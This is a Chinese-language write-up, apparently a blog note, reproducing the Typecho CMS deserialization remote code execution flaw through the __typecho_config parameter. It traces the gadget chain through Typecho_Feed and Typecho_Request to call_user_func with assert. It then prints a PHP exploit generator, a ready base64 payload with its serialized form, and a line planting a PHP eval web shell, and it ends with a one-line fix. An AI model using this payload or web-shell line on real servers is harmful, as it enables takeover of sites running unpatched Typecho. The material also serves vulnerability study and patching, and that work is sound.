**
环境: php 7.0
工具: phpstorm、phpstudy
**
漏洞成因: config 反序列化 没有对输入点进行过滤
反序列化的魔术方法
来自
https://www.freebuf.com/vuls/152058.html
__wakeup() //使用unserialize触发
__sleep() //使用serialize触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get()
__set()
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发
在上面捕获到反序列化的可控点 __type_config
,进入Typecho_Cookie
中,可以发现 __get()
中,可以通过POST 或者 Cookie
获得__typecho_config
的值
finish
需要赋值,不然会脚本马上结束、还有referer
指向上一级
在Typecho_Cookie
这个类中get
的这个请求方法,get
方法中,指可以从该cookie中取出,也可以从post请求中取出。
创建db
类,db
这个类的构造函数
获取适配器名字,然后在数据库适配器字符串拼接,若adapterName
是一个类对象,则进行的字符串操作会出发 __toString()
函数
接下来,我们要寻找 _toString()
函数
发现有两个文件Feed.php、Query.php
Feed
中调用不可访问的属性值时会触发魔术方法__get
搜索__get()
,最后发现 Request.php
中的__get()
跟进引用了危险的函数call_user_func()
其中value
可控,造成call_user_func()
的执行
来自https://www.freebuf.com/vuls/152058.html
构造exp:
<?php
class Typecho_Feed {
const RSS1 = 'RSS 1.0';
const RSS2 = 'RSS 2.0';
const ATOM1 = 'ATOM 1.0';
const DATE_RFC822 = 'r';
const DATE_W3CDTF = 'c';
const EOL = "\n";
private $_type;
private $_items;
public function __construct(){
$this->_type = $this::RSS2;
$this->_items[0] = array( 'title' => '1', 'link' => '1', 'date' => 1508895132, 'category' => array(new Typecho_Request()), 'author' => new Typecho_Request(), );
}
}
class Typecho_Request {
private $_params = array();
private $_filter = array();
public function __construct(){
$this->_params['screenName'] = 'phpinfo()'; //这里可改成所使用的恶意代码
$this->_filter[0] = 'assert';
}
$exp = array( 'adapter' => new Typecho_Feed(), 'prefix' => 'typecho_' );
echo base64_encode(serialize($exp));
payload
__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUxMTc5NTIwMTtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30=
a:2:{s:7:"adapter";O:12:"Typecho_Feed":2:{s:19:"Typecho_Feed_type";s:7:"RSS 2.0";s:20:"Typecho_Feed_items";a:1:{i:0;a:5:{s:5:"title";s:1:"1";s:4:"link";s:1:"1";s:4:"date";i:1511795201;s:8:"category";a:1:{i:0;O:15:"Typecho_Request":2:{s:24:"Typecho_Request_params";a:1:{s:10:"screenName";s:9:"phpinfo()";}s:24:"Typecho_Request_filter";a:1:{i:0;s:6:"assert";}}}s:6:"author";O:15:"Typecho_Request":2:{s:24:"Typecho_Request_params";a:1:{s:10:"screenName";s:9:"phpinfo()";}s:24:"Typecho_Request_filter";a:1:{i:0;s:6:"assert";}}}}}s:6:"prefix";s:8:"typecho_";}
'file_put_contents(\'g4f.php\',\'<?php @eval($_POST[g4f]);?>\')'
最后捋一下思路:
- 首先发现可控点
config
,可通过typecho_config
进行post
和cookie
注入。 - 发现在
Db
中,adapaterName
若是个类,则可调用toString
,通过typecho_config
中adapter
构造一个类,使其调用__toString
的方法。 - 通过
__toString
全局搜索,发现Typecho_Feed
类中,有个地方item['author']->screenName
,若screenName
为不可访问属性,则会调用__get()
方法。
- 全局搜索下
__get()
方法,发现Typecho_Request
中有__get
跟进,get
->_arrayfilter
,发现call_user_func
的两个参数filter, value
都可控,所以可以构造payload进行攻击。
我的exp
关键参数__typecho_config
传入的adapterName
为 Typecho_Feed
类,做字符串操作时,会触发__toString()
魔法方法
绕过过滤数组,可对call_user_func
函数的参数进行控制,触发代码执行
修补方法:更新或者把install相关文件删除
typecho 在php 7.0下出现 database server error的原因以及解决方法
https://www.typechodev.com/case/Adapter-Typecho_Db_Adapter_Mysql-is-not-available.html
参考
https://www.freebuf.com/vuls/155753.html